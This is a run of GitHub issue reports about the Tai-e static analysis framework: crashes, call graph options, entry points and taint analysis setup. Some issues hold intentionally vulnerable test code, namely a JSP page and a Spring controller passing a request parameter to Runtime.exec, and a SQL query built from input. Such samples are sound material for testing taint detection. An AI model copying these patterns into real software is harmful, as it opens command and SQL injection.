	at pascal.taie.util.collection.SparseBitSet.set(SparseBitSet.java:193)
	at pascal.taie.util.collection.GenericBitSet.add(GenericBitSet.java:73)
	at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:336)
	at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:105)
	at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:183)
	at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:52)
	at pascal.taie.analysis.pta.pts.HybridBitPointsToSet.addAll(HybridBitPointsToSet.java:32)
	at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:53)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:796)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$2(DefaultSolver.java:404)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$401/0x0000000801312118.accept(Unknown Source)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$3(DefaultSolver.java:403)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$400/0x0000000801311ee0.accept(Unknown Source)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.propagate(DefaultSolver.java:401)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:335)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:262)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:127)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:113)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:70)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:155)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:142)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:107)
	at pascal.taie.analysis.AnalysisManager$$Lambda$264/0x00000008012c1cc8.get(Unknown Source)
	at pascal.taie.util.Timer.runAndCount(Timer.java:94)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:104)
	at pascal.taie.analysis.AnalysisManager$$Lambda$263/0x00000008012c1870.accept(Unknown Source)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:103)

Test failed

Describe the bug

When running with "./gradlew test" in cmdline, I find that all testsuites FAILED.
Then I run a testsuite(testAssign) in IDEA, the output is
"Soot frontend failed to parse input Java source file(s).
This exception may be caused by:

  1. syntax errors in the source code. In this case, please fix the errors.
  2. language features introduced by Java 8+ in the source code.
    In this case, you could either compile the source code to bytecode (*.class)
    or rewrite the code by using old features."

The real problem is "Cannot invoke "soot.JastAddJ.ClassDecl.localMethodsSignature(String)" because the return value of "soot.JastAddJ.ClassDecl.superclass()" is null" in SootWorldBuilder.java. It's weird because the testsuite is right in Tai-e-assignments project.
Then I find that "lib/dependencies.jar" may contains Soot dependencies in Tai-e-assignments project, however Tai-e use soot.jar from gradle. I'm not sure it's the reason to make the difference. But how can I run the testsuites in Tai-e project ?

Tai-e arguments

LiveVarTest.java
public void testAssign() {
testLV("Assign");
}

Runtime environment infomation

ubuntu 22
jdk-17.04
latest Tai-e, 0.0.3, 2022.10.26, commit c67eb33

Tests failed

Describe the bug

background

I completed the configuration of tai-e in idea according to the tutorial, and then I tried to run the test case that came with tai-e, but a NPE was reported

I noticed that there was an issue #13 report on the same problem, but the solution was not very detailed. I tried all kinds of solutions but it didn't work

I would like to ask how to solve this problem

error

when I run any test case in tai-e:

WorldBuilder starts ...
java.lang.NullPointerException: Cannot invoke "soot.JastAddJ.ClassDecl.localMethodsSignature(String)" because the return value of "soot.JastAddJ.ClassDecl.superclass()" is null
	at soot.JastAddJ.ClassDecl.ancestorMethods_compute(ClassDecl.java:1155)
	at soot.JastAddJ.ClassDecl.ancestorMethods(ClassDecl.java:1145)
	at soot.JastAddJ.TypeDecl.refined_TypeHierarchyCheck_TypeDecl_typeCheck(TypeDecl.java:704)
	at soot.JastAddJ.TypeDecl.typeCheck(TypeDecl.java:1640)
	at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1284)
	at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1292)
	at soot.JastAddJ.ASTNode.collectErrors(ASTNode.java:1292)
	at soot.JastAddJ.CompilationUnit.errorCheck(CompilationUnit.java:178)
	at soot.JastAddInitialResolver.formAst(JastAddInitialResolver.java:67)
	at soot.JavaClassSource.resolve(JavaClassSource.java:63)
	at soot.SootResolver.bringToHierarchyUnchecked(SootResolver.java:274)
	at soot.SootResolver.bringToHierarchy(SootResolver.java:243)
	at soot.SootResolver.bringToSignatures(SootResolver.java:313)
	at soot.SootResolver.bringToBodies(SootResolver.java:353)
	at soot.SootResolver.processResolveWorklist(SootResolver.java:190)
	at soot.SootResolver.resolveClass(SootResolver.java:155)
	at soot.Scene.loadClass(Scene.java:1016)
	at soot.Scene.loadClassAndSupport(Scene.java:1003)
	at soot.Scene.loadNecessaryClass(Scene.java:1944)
	at soot.Scene.loadNecessaryClasses(Scene.java:1956)
	at soot.Main.run(Main.java:240)
	at pascal.taie.frontend.soot.SootWorldBuilder.runSoot(SootWorldBuilder.java:252)

Tai-e arguments

I didn't set my own parameters and ran the test case that came with tai-e

Runtime environment infomation

tai-e: latest version 0.0.3 on Jul 31, 2022
jdk: corretto-17.0.8

Where is the implementation of taint analysis?

Clear and concise description of the problem

taint tracking is very useful in find Java vulns, So I advise to implement taint analysis in Tai-e

Suggested solution

maybe IFDS framework?

Alternative

No response

Additional context

No response

What should I do if one element of the array of parameters is tainted and the whole parameter is contaminated?

Src code

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.InputStream" %>

<%
    String cmd = request.getParameter("x");
    Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
    Process p = (Process)expr.getValue();
%>

If the cmd argument is a taint, then I want to be able to pass the taint to expr, so that the taint flow can be detected when expr.getValue() is called.

TaintConfig

sources:
  - { method: "<javax.servlet.ServletRequest: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String" }
  - { method: "<javax.servlet.ServletRequestWrapper: java.lang.String getParameter(java.lang.String)>", type: "java.lang.String"}

sinks:
  - { method: "<java.beans.Expression: java.lang.Object getValue()>", index: base }

transfers:
  - { method: "<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>", from: 2, to: base, type: "java.beans.Expression"}

Related Tai-e IR

[46@L127] %stringconst10 = "ladypwd";
[47@L127] $r25 = invokeinterface request.<javax.servlet.http.HttpServletRequest: java.lang.String getParameter(java.lang.String)>(%stringconst10);
[48@L128] $r35 = new java.beans.Expression;
[49@L128] $r27 = invokestatic <java.lang.Runtime: java.lang.Runtime getRuntime()>();
[50@L128] $r28 = newarray java.lang.Object[%intconst6];
[51@L128] $r28[%intconst0] = $r25;
[52@L128] %stringconst11 = "exec";
[53@L128] invokespecial $r35.<java.beans.Expression: void <init>(java.lang.Object,java.lang.String,java.lang.Object[])>($r27, %stringconst11, $r28);
[54@L129] $r29 = invokevirtual $r35.<java.beans.Expression: java.lang.Object getValue()>();
[55@L129] $r30 = (java.lang.Process) $r29;

Feature request: Dominator algorithm for control flow analysis

Hello everyone, I want to obtain the jump scope such as the two control flows of if statement. Consider an example:
if (condition1)
{ interested statements }
else
{ interested statements }

The methods provided by Tai-e only indicate the target statement without the exit statement of control flow. Could you please help me with that, thank you very much!

ClassCastException when doing call graph construction

Describe the bug

Tai-e starts ...
Writing options to output/options.yml
Writing analysis plan to output/tai-e-plan.yml
WorldBuilder starts ...
5798 classes with 54936 methods in the world
WorldBuilder finishes, elapsed time: 11.70s
pta starts ...
[Pointer analysis] elapsed time: 12.79s

#var pointers: 5,0008 (insens) / 5,0008 (sens)
#objects: 1,1582 (insens) / 1,1582 (sens)
#var points-to: 1524,0102 (insens) / 1524,0102 (sens)
#static field points-to: 4,2060 (sens)
#instance field points-to: 328,1338 (sens)
#array points-to: 34,2971 (sens)
#reachable methods: 7313 (insens) / 7313 (sens)
#call graph edges: 3,8651 (insens) / 3,8651 (sens)

pta finishes, elapsed time: 14.33s
cg starts ...
Call graph has 7313 reachable methods and 38651 edges
Exception in thread "main" java.lang.ClassCastException: class java.lang.Boolean cannot be cast to class java.lang.String (java.lang.Boolean and java.lang.String are in module java.base of loader 'bootstrap')
at pascal.taie.config.AnalysisOptions.getString(AnalysisOptions.java:98)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.processOptions(CallGraphBuilder.java:69)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.analyze(CallGraphBuilder.java:57)
at pascal.taie.analysis.graph.callgraph.CallGraphBuilder.analyze(CallGraphBuilder.java:34)
at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
at pascal.taie.Main.executePlan(Main.java:142)
at pascal.taie.Main.lambda$main$0(Main.java:56)
at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
at pascal.taie.util.Timer.runAndCount(Timer.java:93)
at pascal.taie.util.Timer.runAndCount(Timer.java:111)
at pascal.taie.util.Timer.runAndCount(Timer.java:107)
at pascal.taie.Main.main(Main.java:48)

Tai-e arguments

I want to use Tai-e as a tool to generate call graph but witnessed this error when testing it with a simple program

public class Test{ public static void main(String[] args){ System.out.println("Hello,World!"); } }

The java program only contains one .java file and I compiled and made it into a .jar file as directed by the wiki. My running command is
java -cp tai-e-all.jar pascal.taie.Main -cp Test.jar -m Test -java 7 -a "cg=algorithm:pta;dump:true;dump-methods:true;dump-call-edges:true"
Another strange point is that when I execute with the command
java -cp tai-e-all.jar pascal.taie.Main -cp Test.jar -m Test -java 7 -a "cg=algorithm:pta
the program worked well

Tai-e starts ...
Writing options to output/options.yml
Writing analysis plan to output/tai-e-plan.yml
WorldBuilder starts ...
5798 classes with 54936 methods in the world
WorldBuilder finishes, elapsed time: 12.04s
pta starts ...
[Pointer analysis] elapsed time: 11.91s
#var pointers: 5,0008 (insens) / 5,0008 (sens)
#objects: 1,1582 (insens) / 1,1582 (sens)
#var points-to: 1524,0102 (insens) / 1524,0102 (sens)
#static field points-to: 4,2060 (sens)
#instance field points-to: 328,1338 (sens)
#array points-to: 34,2971 (sens)
#reachable methods: 7313 (insens) / 7313 (sens)
#call graph edges: 3,8651 (insens) / 3,8651 (sens)
pta finishes, elapsed time: 13.30s
cg starts ...
Call graph has 7313 reachable methods and 38651 edges
cg finishes, elapsed time: 0.00s
Tai-e finishes, elapsed time: 25.53s

but failed once dump configurations were introduced. So I wonder if there is some bug in constructin call graph or my linux environment is not suitable?

Runtime environment infomation

My environment is on wsl 22.04.2 LTS release and Tai-e is the released version 0.0.3

Request to enhance the input method of "--input-classes" parameter

Clear and concise description of the problem

When I was using tai-e to analyze java web applications, I found that --input-classes was not able to meet the usage scenario.

In #19, I added a custom program entry point via onStart.

package com.example.demo.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@RestController
public class TestController {
    @RequestMapping("/")
    public String index(HttpServletRequest request) throws IOException {
        String cmd = request.getParameter("cmd");
        Runtime.getRuntime().exec(cmd);
        return "hello";
    }
}

and run with this args.

-cp
/Users/ddd/IdeaProjects/demo/target/classes/:/Users/ddd/IdeaProjects/demo/javax.servlet-api-4.0.1.jar
--input-classes=com.example.demo.HelloServlet,javax.servlet.http.HttpServletRequestWrapper
-java
8
-ap
-a
pta=action:dump;action-file:dumpfile;taint-config:src/test/resources/pta/taint/taint-config.yml

As a small demo this is fine, but in a real large java web application, the -input-classes parameter can cause some problems.

In the automated code audit, I need to add all the route endpoints to the entry point, and if I don't add the class names of the route endpoints and the class names of the parameters to the --input-classes collection, then neither the entry point nor the mock parameters can be added via World.get().getClassHierarchy(). getClass(xx) to get the corresponding class.

So it is requested to enhance this feature or give a more suitable way.

thanks.

Suggested solution

I don't have any good ideas.

Alternative

No response

Additional context

No response

Some questions about option `only-app`, usage and speeding up?

Describe the bug

Benchmark-1.0-SNAPSHOT.jar.zip

public void test1(java.lang.String r2) {
        java.lang.StringBuilder $r0, $r1, $r3, $r4;
        java.lang.String %stringconst0, %stringconst1, $r5;
        [0@L14] $r0 = new java.lang.StringBuilder;
        [1@L14] invokespecial $r0.<java.lang.StringBuilder: void <init>()>();
        [2@L14] %stringconst0 = "select * from user where name='";
        [3@L14] $r1 = invokevirtual $r0.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(%stringconst0);
        [4@L14] $r3 = invokevirtual $r1.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(r2);
        [5@L14] %stringconst1 = "'";
        [6@L14] $r4 = invokevirtual $r3.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(%stringconst1);
        [7@L14] $r5 = invokevirtual $r4.<java.lang.StringBuilder: java.lang.String toString()>();
        [8@L15] invokevirtual %this.<com.bytecodedl.benchmark.demo.TaintDemo1: void Sink(java.lang.String)>($r5);
        [9@L16] return;
    }

no only-app:true options:

image

with only-app:true options:

image

$r1, $r3,$r4 pointer sets missing

Tai-e arguments

java -jar tai-e-all.jar -cp Benchmark-1.0-SNAPSHOT.jar -m com.bytecodedl.benchmark.demo.TaintDemo1 -a "pta=action:dump;action-file:/tmp/p.dump;only-app:true"
java -jar tai-e-all.jar -cp Benchmark-1.0-SNAPSHOT.jar -m com.bytecodedl.benchmark.demo.TaintDemo1 -a "pta=action:dump;action-file:/tmp/p.dump"

Runtime environment infomation

  • os: MacBook Pro (13-inch, M1, 2020) macos monterey 12.3
  • java:
openjdk version "17.0.4.1" 2022-08-12 LTS
OpenJDK Runtime Environment Zulu17.36+17-CA (build 17.0.4.1+1-LTS)
OpenJDK 64-Bit Server VM Zulu17.36+17-CA (build 17.0.4.1+1-LTS, mixed mode, sharing)
  • tai-e
Version 0.1

Confusion about the frontend

Hi! I have some confusion when using Tai-e.

  1. The frontend cannot generate IR from source code if it refers to some features introduced by Java 8, right?
  2. If I carry out PTA, I cannot get the real variable name from Var instance, but
pta finishes, elapsed time: 0.19s
Tai-e finishes, elapsed time: 2.85s
r13
r0
$r12
$r0
$r3
%stringconst3
$r9
$r0
$r6
$r8
$r14

So is there any way to get the real variable name which is consitent with source code?

Reference analysis bug for `U.class` in Soot frontend

Describe the bug

I tried to do pointer analysis on MapReduce, and get exception:

Exception in thread "main" java.lang.RuntimeException: This operation requires resolving level HIERARCHY but org.apache.hadoop.hbase.mapreduce.RowCounter is at resolving level DANGLING
If you are extending Soot, try to add the following call before calling soot.Main.main(..):
Scene.v().addBasicClass(org.apache.hadoop.hbase.mapreduce.RowCounter,HIERARCHY);
Otherwise, try whole-program mode (-w).
	at soot.SootClass.checkLevelIgnoreResolving(SootClass.java:209)
	at soot.SootClass.checkLevel(SootClass.java:191)
	at soot.SootClass.getSuperclass(SootClass.java:855)
	at pascal.taie.frontend.soot.SootClassBuilder.getSuperClass(SootClassBuilder.java:76)
	at pascal.taie.language.classes.JClass.build(JClass.java:106)
	at pascal.taie.frontend.soot.SootClassBuilder.build(SootClassBuilder.java:53)
	at pascal.taie.frontend.soot.SootClassLoader.loadClass(SootClassLoader.java:67)
	at pascal.taie.language.type.ClassType.getJClass(ClassType.java:49)
	at pascal.taie.analysis.pta.plugin.util.CSObjs.toClass(CSObjs.java:70)
	at pascal.taie.analysis.pta.plugin.reflection.StringBasedModel.lambda$getMethod$6(StringBasedModel.java:109)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at pascal.taie.analysis.pta.plugin.reflection.StringBasedModel.getMethod(StringBasedModel.java:108)
	at pascal.taie.analysis.pta.plugin.util.AbstractModel.lambda$handleNewPointsToSet$0(AbstractModel.java:128)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
	at pascal.taie.analysis.pta.plugin.util.AbstractModel.handleNewPointsToSet(AbstractModel.java:124)
	at pascal.taie.analysis.pta.plugin.reflection.ReflectionAnalysis.onNewPointsToSet(ReflectionAnalysis.java:92)
	at pascal.taie.analysis.pta.plugin.CompositePlugin.lambda$onNewPointsToSet$1(CompositePlugin.java:105)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.pta.plugin.CompositePlugin.onNewPointsToSet(CompositePlugin.java:105)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:255)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:222)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
	at pascal.taie.Main.executePlan(Main.java:142)
	at pascal.taie.Main.lambda$main$0(Main.java:56)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)

Tai-e arguments

        String files = Stream.of(new File("target").listFiles())
                .filter(file -> !file.isDirectory())
                .map(File::toString)
                .collect(Collectors.joining(":"));

        Main.main(new String[]{ "-cp", files,
                "-m", "org.apache.hadoop.hbase.mapreduce.Driver",
                "-java", "8",
                "-a", "pta"
        });

Compressed target folder: https://raw.githubusercontent.com/FXTi/codeql-uboot/main/target.tar.gz

Runtime environment infomation

OS: ArchLinux
IDE: IDEA
version of Tai-e: 0.0.3

pascal.taie.ir.proginfo.MethodResolutionFailedException error when customizing entrypoint

Describe the bug

Exception in thread "main" pascal.taie.ir.proginfo.MethodResolutionFailedException: Cannot resolve <java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.Object[])>
	at pascal.taie.ir.proginfo.MethodRef.resolve(MethodRef.java:180)
	at pascal.taie.analysis.pta.plugin.invokedynamic.LambdaAnalysis.isLambdaMetaFactory(LambdaAnalysis.java:122)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:178)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
	at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
	at java.base/java.util.AbstractList$RandomAccessSpliterator.forEachRemaining(AbstractList.java:720)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
	at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
	at pascal.taie.analysis.pta.plugin.invokedynamic.LambdaAnalysis.onNewMethod(LambdaAnalysis.java:104)
	at pascal.taie.analysis.pta.plugin.CompositePlugin.lambda$onNewMethod$3(CompositePlugin.java:115)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.pta.plugin.CompositePlugin.onNewMethod(CompositePlugin.java:115)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.processNewMethod(DefaultSolver.java:497)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addCSMethod(DefaultSolver.java:780)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addEntryPoint(DefaultSolver.java:748)
	at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.lambda$onStart$2(TaintAnalysis.java:134)
	at java.base/java.util.LinkedHashMap$LinkedValues.forEach(LinkedHashMap.java:647)
	at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
	at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.lambda$onStart$3(TaintAnalysis.java:111)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.accept(ForEachOps.java:183)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:179)
	at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
	at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
	at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.onStart(TaintAnalysis.java:109)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.pta.plugin.CompositePlugin.onStart(CompositePlugin.java:95)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.initialize(DefaultSolver.java:256)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:237)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:147)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:120)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
	at pascal.taie.Main.executePlan(Main.java:143)
	at pascal.taie.Main.lambda$main$0(Main.java:57)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:49)
resolve:180, MethodRef (pascal.taie.ir.proginfo)
isLambdaMetaFactory:122, LambdaAnalysis (pascal.taie.analysis.pta.plugin.invokedynamic)
test:-1, LambdaAnalysis$$Lambda$272/0x0000000800ea9a70 (pascal.taie.analysis.pta.plugin.invokedynamic)
accept:178, ReferencePipeline$2$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
accept:197, ReferencePipeline$3$1 (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
forEachRemaining:720, AbstractList$RandomAccessSpliterator (java.util)
copyInto:509, AbstractPipeline (java.util.stream)
wrapAndCopyInto:499, AbstractPipeline (java.util.stream)
evaluateSequential:150, ForEachOps$ForEachOp (java.util.stream)
evaluateSequential:173, ForEachOps$ForEachOp$OfRef (java.util.stream)
evaluate:234, AbstractPipeline (java.util.stream)
forEach:596, ReferencePipeline (java.util.stream)
onNewMethod:104, LambdaAnalysis (pascal.taie.analysis.pta.plugin.invokedynamic)
lambda$onNewMethod$3:115, CompositePlugin (pascal.taie.analysis.pta.plugin)
accept:-1, CompositePlugin$$Lambda$262/0x0000000800ea8240 (pascal.taie.analysis.pta.plugin)
forEach:1511, ArrayList (java.util)
onNewMethod:115, CompositePlugin (pascal.taie.analysis.pta.plugin)
processNewMethod:497, DefaultSolver (pascal.taie.analysis.pta.core.solver)
addCSMethod:780, DefaultSolver (pascal.taie.analysis.pta.core.solver)
addEntryPoint:748, DefaultSolver (pascal.taie.analysis.pta.core.solver)
lambda$onStart$2:134, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, TaintAnalysis$$Lambda$300/0x0000000800ebc460 (pascal.taie.analysis.pta.plugin.taint)
forEach:647, LinkedHashMap$LinkedValues (java.util)
forEach:1092, Collections$UnmodifiableCollection (java.util)
lambda$onStart$3:111, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, TaintAnalysis$$Lambda$297/0x0000000800eb7cb8 (pascal.taie.analysis.pta.plugin.taint)
accept:183, ForEachOps$ForEachOp$OfRef (java.util.stream)
accept:179, ReferencePipeline$2$1 (java.util.stream)
forEachRemaining:1625, ArrayList$ArrayListSpliterator (java.util)
copyInto:509, AbstractPipeline (java.util.stream)
wrapAndCopyInto:499, AbstractPipeline (java.util.stream)
evaluateSequential:150, ForEachOps$ForEachOp (java.util.stream)
evaluateSequential:173, ForEachOps$ForEachOp$OfRef (java.util.stream)
evaluate:234, AbstractPipeline (java.util.stream)
forEach:596, ReferencePipeline (java.util.stream)
onStart:109, TaintAnalysis (pascal.taie.analysis.pta.plugin.taint)
accept:-1, CompositePlugin$$Lambda$259/0x0000000800ea76c0 (pascal.taie.analysis.pta.plugin)
forEach:1511, ArrayList (java.util)
onStart:95, CompositePlugin (pascal.taie.analysis.pta.plugin)
initialize:256, DefaultSolver (pascal.taie.analysis.pta.core.solver)
solve:237, DefaultSolver (pascal.taie.analysis.pta.core.solver)
runAnalysis:118, PointerAnalysis (pascal.taie.analysis.pta)
analyze:106, PointerAnalysis (pascal.taie.analysis.pta)
analyze:63, PointerAnalysis (pascal.taie.analysis.pta)
runProgramAnalysis:147, AnalysisManager (pascal.taie.analysis)
runAnalysis:120, AnalysisManager (pascal.taie.analysis)
lambda$execute$0:104, AnalysisManager (pascal.taie.analysis)
get:-1, AnalysisManager$$Lambda$213/0x0000000800e50a80 (pascal.taie.analysis)
runAndCount:93, Timer (pascal.taie.util)
lambda$execute$1:103, AnalysisManager (pascal.taie.analysis)
accept:-1, AnalysisManager$$Lambda$212/0x0000000800e50638 (pascal.taie.analysis)
forEach:1511, ArrayList (java.util)
execute:102, AnalysisManager (pascal.taie.analysis)
executePlan:143, Main (pascal.taie)
lambda$main$0:57, Main (pascal.taie)
run:-1, Main$$Lambda$89/0x0000000800d17440 (pascal.taie)
lambda$runAndCount$0:112, Timer (pascal.taie.util)
get:-1, Timer$$Lambda$90/0x0000000800d17888 (pascal.taie.util)
runAndCount:93, Timer (pascal.taie.util)
runAndCount:111, Timer (pascal.taie.util)
runAndCount:107, Timer (pascal.taie.util)
main:49, Main (pascal.taie)

at pascal.taie.analysis.pta.core.solver.DefaultSolver#processNewMethod

image

<com.vmware.vcops.casa.security.SecurityController: com.vmware.vcops.casa.support.HttpMapResponse[] manageCertOnCluster(java.lang.String,java.lang.String)>[5@L596] $r15 = invokedynamic <java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.Object[])> "makeConcatWithConstants" <MethodType: java.lang.String (java.lang.String)>["Illegal enum for certificate action: �"](action)

<java.lang.invoke.StringConcatFactory: java.lang.invoke.CallSite makeConcatWithConstants(java.lang.invoke.MethodHandles$Lookup,java.lang.String,java.lang.invoke.MethodType,java.lang.String,java.lang.invoke.MethodType); lang.Object[])> function does not exist in jdk1.8

Tai-e arguments

